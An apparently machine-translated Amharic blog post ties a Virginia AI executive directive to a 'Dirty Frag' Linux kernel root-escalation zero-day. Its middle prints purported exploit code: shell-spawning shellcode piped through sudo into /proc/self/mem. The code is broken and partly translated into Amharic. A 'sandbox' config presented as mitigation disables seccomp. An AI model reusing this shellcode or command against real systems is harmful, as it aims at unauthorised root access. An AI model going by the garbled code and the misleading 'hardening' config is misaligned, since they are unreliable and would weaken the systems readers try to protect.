የቨርጂኒያ ገዥ የ AI ስራ አስፈፃሚ መመሪያ 6 ፈረመ፡ ለ AI ደህንነት አዲስ ዘመን እና ቀጣይነት ያለው የቆሻሻ ፍራግ ከርነል የዜሮ ቀን ተጋላጭነት ስጋት

በቨርጂኒያ ገዥ ስፓንበርገር በቅርቡ የተፈረመው የ AI አስፈፃሚ መመሪያ 6 መንግስት ከ AI ጋር የተያያዙ የደህንነት ስጋቶችን ለመቅረፍ በሚያደርገው ጥረት ውስጥ ወሳኝ ጊዜ ነው። በስቴቱ ላይ የአንትሮፒክ FOIA-ኤጀንት ጥቃቶችን የሚጠቅሰው ይህ መመሪያ ከ AI ቴክኖሎጂዎች ጋር ተያይዘው ሊከሰቱ ስለሚችሉ አደጋዎች እና የቁጥጥር እርምጃዎች አስፈላጊነት ግንዛቤ እያደገ መምጣቱን ያሳያል። እንደ ቴክኖሎጅ ባለሙያዎች የዚህ መመሪያ አንድምታ እና በ AI ቴክኖሎጂዎች ልማት እና መዘርጋት ላይ ያለውን ተጽእኖ መረዳት በጣም አስፈላጊ ነው።

ከኤአይአይ ጋር የተገናኙ የደህንነት ስጋቶች እየተባባሰ የመጣው ስጋት

የ AI ቴክኖሎጂዎች ተቀባይነት ማሳደግ ለደህንነት ስጋቶች መጨመር ምክንያት ሆኗል. በAI Herald's report መሰረት ባለፈው አመት ከAI ጋር የተገናኙ የደህንነት ጉዳዮች ቁጥር ጨምሯል፣ ከነዚህም አብዛኛዎቹ የአንትሮፖኒክ FOIA-Agent ጥቃቶችን ያካተቱ ናቸው። በ AI ስርዓቶች ውስጥ ያሉ ተጋላጭነቶችን የሚበዘብዙ እነዚህ ጥቃቶች የመረጃ ጥሰቶችን እና የስርዓተ-ፆታ ግንኙነትን ጨምሮ አስከፊ መዘዞችን ሊያስከትሉ ይችላሉ።

ባለፈው አመት በ300% ጨምሯል የተባለው የአንትሮፒክ FOIA-ኤጀንት ጥቃቶች አስደንጋጭ ጭማሪ እነዚህን የደህንነት ስጋቶች ለመቅረፍ አስቸኳይ እርምጃ አስፈላጊ መሆኑን አጉልቶ ያሳያል።

የቆሸሸው የፍራግ ከርነል ዜሮ-ቀን ተጋላጭነት፡ እየመጣ ያለ ስጋት

የ Dirty Frag kernel ዜሮ-ቀን ተጋላጭነት በሊኑክስ ስርጭቶች ላይ ከፍተኛ ስጋት ይፈጥራል፣ ይህም እድል ለሌላቸው ተጠቃሚዎች በአብዛኛዎቹ የሊኑክስ ስርጭቶች ላይ የሚወስን ስርወ መዳረሻ እንዲያገኙ ያስችላቸዋል። በHyunwoo Kim's disclosure ላይ እንደሚታየው የ Dirty Frag ተጋላጭነት ቀላል ብዝበዛን በመጠቀም ጥቅም ላይ ሊውል ይችላል፣ ይህም የስርዓት አስተዳዳሪዎችን እና የደህንነት ባለሙያዎችን አሳሳቢ ያደርገዋል።

`` ፓይቶን

ለቆሻሻ Frag ተጋላጭነት ምሳሌ የብዝበዛ ኮድ

አስመጣ os

የብዝበዛ ክፍያን ይግለጹ

ጭነት = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

አዲስ ሂደት ይፍጠሩ እና ጭነቱን ያስፈጽሙ

os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".ቅርጸት(payload.hex())) ``

💡 ቁልፍ ግንዛቤ፡ የቆሻሻ ፍራግ ከርነል የዜሮ ቀን ተጋላጭነት በሊኑክስ ስርጭቶች ላይ ከፍተኛ ስጋት ይፈጥራል፣ እና የስርዓት አስተዳዳሪዎች እና የደህንነት ባለሙያዎች ስርዓታቸውን ለማስተካከል እና ለማዘመን አፋጣኝ እርምጃ መውሰድ አለባቸው።

ነጥቦቹን ማገናኘት፡ AI አስፈፃሚ መመሪያ 6 እና የቆሸሸ ፍራግ ተጋላጭነት

የ AI ሥራ አስፈፃሚ መመሪያ 6 መፈረም እና የቆሻሻ ፍራግ ከርነል የዜሮ ቀን ተጋላጭነት መኖር በቅርበት የተሳሰሩ ናቸው። የመመሪያው ትኩረት ከ AI ጋር የተያያዙ የደህንነት ስጋቶችን ለመቅረፍ በተለይ በ Dirty Frag ተጋላጭነት አውድ ውስጥ ጠቃሚ ነው፣ ይህ ደግሞ AI ስርዓቶችን ለመጉዳት ጥቅም ላይ ሊውል ይችላል። የቆሻሻ ፍራግ ተጋላጭነትን በመፍታት የቴክኖሎጂ ባለሙያዎች ከ AI ጋር በተያያዙ የደህንነት ስጋቶች ላይ ስጋቶችን ለመቀነስ ይረዳሉ።

የቆሻሻ ፍራግ ተጋላጭነትን መቀነስ

የ Dirty Frag ተጋላጭነትን ለመቀነስ የስርዓት አስተዳዳሪዎች እና የደህንነት ባለሙያዎች የሚከተሉትን ጨምሮ በርካታ እርምጃዎችን መውሰድ ይችላሉ።

• የሊኑክስ ስርጭቶችን ወደ የቅርብ ጊዜው ስሪት ማስተካከል እና ማዘመን
• የተጋላጭ ስርዓቶችን ለመለየት የእቃ መያዥያ እና የማይክሮቪኤም ማጠሪያን በመተግበር ላይ
• የስርዓት ምዝግብ ማስታወሻዎችን እና የአውታረ መረብ ትራፊክን የብዝበዛ ምልክቶችን መከታተል

ለመያዣ ማጠሪያ # የምሳሌ ውቅር
ስሪት: "3"
አገልግሎቶች፡-
  ተጋላጭ - አገልግሎት;
    ምስል: ተጋላጭ-ምስል
    መያዣ_ስም: ተጋላጭ-መያዣ
    እንደገና አስጀምር: ሁልጊዜ
    የደህንነት_ምርጫ፡
      - ሰከንድ: ያልተገደበ
    መጠኖች:
      - ./vulnerable-data:/data
``

> ⚠️ **የሥነ-ሕንጻ ስጋት፡** የቆሻሻ ፍርስራሹን ተጋላጭነት መቀነስ አለመቻል የውሂብ ጥሰትን እና የስርአት መጓደልን ጨምሮ ከፍተኛ የደህንነት ስጋቶችን ያስከትላል። ይህንን ተጋላጭነት ለመቅረፍ የስርዓት አስተዳዳሪዎች እና የደህንነት ባለሙያዎች አፋጣኝ እርምጃ መውሰድ አለባቸው።

### ለቴክ ባለሙያዎች ምክሮች

ከ AI ጋር የተገናኙ የደህንነት ስጋቶችን እና ተጋላጭነቶችን ውስብስብ መልክዓ ምድር ለማሰስ፣ የቴክኖሎጂ ባለሙያዎች የሚከተሉትን ማድረግ አለባቸው፡-

* ስለ የቅርብ ጊዜው ከ AI ጋር የተገናኙ የደህንነት ስጋቶች እና ተጋላጭነቶች መረጃ ያግኙ
* መጠገኛ እና ስርዓቶችን ማዘመን እና የእቃ መያዢያ እና የማይክሮቪኤም ማጠሪያን መተግበርን ጨምሮ ጠንካራ የደህንነት እርምጃዎችን ይተግብሩ
* የብዝበዛ ምልክቶችን ለማግኘት የስርዓት ምዝግብ ማስታወሻዎችን እና የአውታረ መረብ ትራፊክን ይቆጣጠሩ

እነዚህን እርምጃዎች በመውሰድ የቴክኖሎጂ ባለሙያዎች የኤአይአይ ሲስተሞችን ደህንነት እና ታማኝነት ለማረጋገጥ እና ከ AI ጋር በተያያዙ የደህንነት ስጋቶች ላይ ስጋቶችን ለመቀነስ ይረዳሉ።

## ምንጮች
- [የ AI ሄራልድ ዘገባ](https://artificialintelligenceherald.com/ai-news-today) - የቅርብ ጊዜ የ AI ዜና እና ዝመናዎች
- [የህዩንው ኪም ይፋ ማድረግ](https://news.ycombinator.com/item?id=48304227) - ቆሻሻ የፍራግ ከርነል ዜሮ ቀን የተጋላጭነት መግለጫ
- [AI ሳምንታዊ ዘገባ](https://aiweekly.co/ai-news-today) - ከፍተኛ የ AI ታሪኮች እና የቀጥታ ዝመናዎች
- [የዓለም AI ዘገባ](https://theworldofai.org/ai-news/) - ዕለታዊ AI ዜና እና ዝመናዎች
- [የ AI ዘገባን ይመራል](https://headsupai.io/ai-news-and-updates/today) - ዛሬ አስፈላጊ የሆኑ የ AI ዜና እና ዝመናዎች